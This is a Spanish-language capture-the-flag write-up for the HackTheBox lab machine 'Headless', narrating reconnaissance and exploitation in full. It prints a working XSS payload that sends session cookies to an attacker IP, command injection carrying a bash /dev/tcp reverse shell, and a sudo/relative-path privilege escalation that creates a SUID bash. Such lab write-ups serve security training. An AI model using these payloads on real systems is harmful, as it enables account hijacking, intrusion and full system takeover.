Headless – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
Headless
es una máquina de dificultad “Fácil” de la plataforma HackTheBox
. De un escaneo inicial, notamos que la máquina víctima está corriendo un servicio web sobre el puerto 5000
, el cual muestra una página web la cual sigue “en construcción”. Notamos que podemos rellenar un formulario en esta página web. No obstante, al intentar subir código malicioso al formulaio, la página web nos muestra un mensaje de “Hacking Attempts”; lo cual en principio deniega los ataques. Luego de analizar la web (y basados en el nombre de la máquina) somos capaces de inyectar un payload de Cross Site Scripting
(XSS
) a través del “header” de la petición al servicio web. Con esto obtenemos una cookie para un panel de login, el cual fue previamente hallado mediante un ataque de Brute Force Directory Listing
(listar directorios por fuerza bruta). Una vez logueados con esta cookie secuestrada, podemos ver una página web la cual muestra un sitio para agendar horas la cual sólo tiene un botón. Uno de los parámetros que se envían al servidor web al apretar sobre este botón es vulnerable a un Command Injection
(inyección de comandos), lo cual nos permite ganar acceso inicial a la máquina víctima. Una vez dentro, vemos que el usuario con el que estamos logueados puede correr un script de Bash
con sudo
. Este script busca por otro script en el directorio actual de trabajo y lo ejecuta. De manera que creamos un script malicioso en el directorio actual de trabajo, ejecutamos el primer script con sudo
(el cual ejecutará nuestro script malicioso como root
) y ganamos acceso total a la máquina víctima.
User / Usuario Link to heading
Empezando con un scan con Nmap
sólo encontramos 2 puertos abiertos: 22
SSH
y 5000
:
❯ sudo nmap -sVC -p22,5000 10.10.11.8 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 21:04 -04
Nmap scan report for 10.10.11.8
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Sun, 26 May 2024 01:04:46 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
<SNIP>
Del output de éste puedo ver que el puerto 5000
está corriendo Werkzeug
con Python
. De manera que muy probablemente este es un sitio web corriendo Flask
. Podemos verificar esto utilizando la herramienta WhatWeb
contra la máquina víctima y el puerto 5000
:
❯ whatweb http://10.10.11.8:5000
http://10.10.11.8:5000 [200 OK] Cookies[is_admin], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.2.2 Python/3.11.2], IP[10.10.11.8], Python[3.11.2], Script, Title[Under Construction], Werkzeug[2.2.2]
Visitiando la página web http://10.10.11.8:5000
muestra que la página en sí no está lista, junto con una cuenta regresiva:
Allí puedo ver un botón que dice For questions
. Clickeando en este redirige a http://10.10.11.8:5000/support
y muestra un formulario de contacto (“Contact form”):
Si pruebo algunos parámetros vulnerables en este “Contact form”, lo intercepto con Burpsuite
y luego intento, por ejemplo, un ataque Cross Site Scripting
(XSS
) con el request:
POST /support HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 245
Origin: http://10.10.11.8:5000
DNT: 1
Connection: close
Referer: http://10.10.11.8:5000/support
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1
fname="http%3a//10.10.16.3%3a8000/fname"%3b>&lname="http%3a//10.10.16.3%3a8000/lname"%3b>&email="http%3a//10.10.16.3%3a8000/email"%3b>&phone="http%3a//10.10.16.3%3a8000/phone"%3b>&message=<img+src%3d"http%253a//10.10.16.3%253a8000/message"%253b>
la página web muestra un mensaje Hacking Attempt Detected
(“Intento de hackeo detectado”):
En este punto decido buscar por más directorios en este servicio web a través de un Brute Force Directory Listing
(listar directorios con fuerza bruta) con la herramienta Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.8:5000 -t 55 -x html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.8:5000
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/support (Status: 200) [Size: 2363]
/dashboard (Status: 500) [Size: 265]
Puedo ver un directorio /dashboard
, pero éste retorna Código HTTP 500 (Internal Server Error)
.
De vuelta al formulario de “Contact Support”, enviaré la petición/request que previamente realicé para probar el ataque XSS
al Repeater
de Burpsuite
para empezar a jugar con parámetros. Intentaré inyectar payload de XSS
de PayloadAllTheThings
usando estos ejemplos. Luego de algunos intentos, hay uno que funciona (como se explicará a continuación). Pero contrario a los intentos previos que fueron detectados como “hacking attempts”, esta vez somos capaces de subir un payload XSS
el cual es:
<script>document.location="http://10.10.16.3:8000/xss-76.js?cookie="+btoa(document.cookie);</script>
donde 10.10.16.3
es mi dirección IP de atacante y 8000
es el puerto en el cual me pondré en escucha con netcat
, como sigue:
❯ nc -lvnp 8000
listening on [any] 8000 ...
Luego, si también inyectamos el payload XSS
en el parámetro User-Agent
(el “header” del request, lo cual es una pista de la máquina basada en su nombre), en lugar de sólo hacer POST
con data, con la siguiente petición en el Repeater
de Burpsuite
:
POST /support HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: <script>document.location="http://10.10.16.3:8000/xss-76.js?cookie="+btoa(document.cookie);</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Origin: http://10.10.11.8:5000
DNT: 1
Connection: close
Referer: http://10.10.11.8:5000/support
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1
fname=John&lname=Wick&email=test%40test.htb&phone=%2B5699999999&message=<script>document.location="http://10.10.16.3:8000/xss-76.js?cookie="+btoa(document.cookie);</script>
tenemos algo.
Para aclarar: en mi caso, si sólo ponía el payload XSS
en el header User-Agent
, junto con un “body” del request/petición normal no ocurría nada. Pero cuando generaba la respuesta Hacking Attempt Detected
poniendo la data tanto en el User-Agent
como en el “body” de éste es que logré tener una respuesta en mi listener de netcat
:
❯ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.8] 47814
GET /xss-76.js?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1
Host: 10.10.16.3:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5000/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
La cookie está encodeada en base64
por el payload que hemos inyectado. De manera que la decodifico:
❯ echo -n 'aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=' | base64 -d
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
donde, presumo, ésta es una cookie válida como admin
.
De vuelta a los directories hallados con Gobuster
recuerdo que había un directorio /dashboard
. Si visito esta página, ésta muestra un simple mensaje:
En Firefox
, voy a Storage
(presiono Ctrl+Shift+I
) y puedo ver que el sitio provee una cookie con el parámetro is_admin
. Reemplazo el valor de ésta con el valor de la cookie hallada por medio del ataque XSS
y recargo la página. Ahora puedo ver una nueva web:
Si clickeo en Generate Report
el sitio simplemente muestra un mensaje Systems are up and running!
, pero -aparentemente- nada más.
Para ver qué es lo que realmente hace este panel, interceptaré -con Burpsuite
- el request/petición enviada cuando clickeamos en el botón Generate Report
. La petición interceptada es:
POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://10.10.11.8:5000
DNT: 1
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
date=2023-09-18
Veamos si el parámetro date
nos permite inyectar comandos. Para ello simplemente agrego el string ; id
al parámetro date
. De manera que la petición (con el payload incluído) ahora se ve como:
POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://10.10.11.8:5000
DNT: 1
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
date=2023-09-18; id
Una vez hecho esto podemos ver que la página web desplega un mensaje interesante:
Está mostrando el output del comando id
; de manera que hemos logrado un Command Injection
(inyección de comandos).
Así, decido inyectar un payload para enviarme una reverse shell a mi equipo de atacante:
bash -c 'bash -i >& /dev/tcp/10.10.16.3/443 0>&1'
donde, nuevamente, 10.10.16.3
es mi dirección IP de atacante y 443
es el puerto en el cual me pondré en escucha con netcat
:
❯ nc -lvnp 443
listening on [any] 443 ...
Ahora enviamos el payload para la reverse shell utilizando Burpsuite
, de manera que la petición por POST
ahora se ve como:
POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://10.10.11.8:5000
DNT: 1
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
date=2023-09-18%3b+bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.3/443+0>%261'
Una vez enviada la petición obtenemos una conexión como el usuario dvir
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.8] 36576
bash: cannot set terminal process group (1353): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ whoami
whoami
dvir
donde podemos tener la flag de user
en el directorio /home/dvir
.
Root Link to heading
Podemos ver que este usuario puede correr un script con sudo
sin necesidad de proveer una contraseña:
dvir@headless:~/app$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
Noto que éste no es más que un script en Bash
:
dvir@headless:~/app$ file /usr/bin/syscheck
/usr/bin/syscheck: Bourne-Again shell script, ASCII text executable
No obstante, no podemos escribir sobre/modificar éste:
dvir@headless:~/app$ ls -la /usr/bin/syscheck
-r-xr-xr-x 1 root root 768 Feb 2 16:11 /usr/bin/syscheck
Leyendo el script con cat /usr/bin/syscheck
tenemos:
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
Noto que este script busca otro script llamado initdb.sh
en el directorio actual de trabajo y, además, lo está ejecutando. De manera que corro los siguientes comandos:
dvir@headless:~/app$ echo -e '#!/bin/bash\ncp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x' > ./initdb.sh
dvir@headless:~/app$ chmod +x ./initdb.sh
Básicamente, el primer comando que hemos corrido está creando un script en Bash
con el contenido:
#!/bin/bash
cp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x
el cual está creando una copia del binaro /bin/bash
y, a esa copia, le asigna permisos SUID
. De manera que podemos correr el binario copiado con permisos del dueño (el cual en este caso será el usuario root
).
El segundo comando (chmod +x ./initdb.sh
) es usado para asignar permisos de ejecución al script creado y así evitar posibles problemas.
Luego, simplemente ejecuto:
dvir@headless:~/app$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.7G
System load average: 0.01, 0.03, 0.13
Database service is not running. Starting it...
Reviso que, efectivamente, mi archivo malicioso ha sido creado:
dvir@headless:~/app$ ls -la /tmp
total 1288
drwxrwxrwt 13 root root 4096 May 26 05:32 .
drwxr-xr-x 18 root root 4096 Feb 16 23:49 ..
drwxrwxrwt 2 root root 4096 May 25 21:31 .font-unix
-rwsr-xr-x 1 root root 1265648 May 26 05:32 gunzf0x
drwxrwxrwt 2 root root 4096 May 25 21:31 .ICE-unix
<SNIP>
y, finalmente, podemos ejecutar este archivo malicioso junto con la flag -p
para ejecutarla como el dueño de éste (el cual será root
):
dvir@headless:~/app$ /tmp/gunzf0x -p
gunzf0x-5.2# whoami
root
Podemos obtener la flag del usuario root
en el directorio /root
. Máquina completada.
~Happy Hacking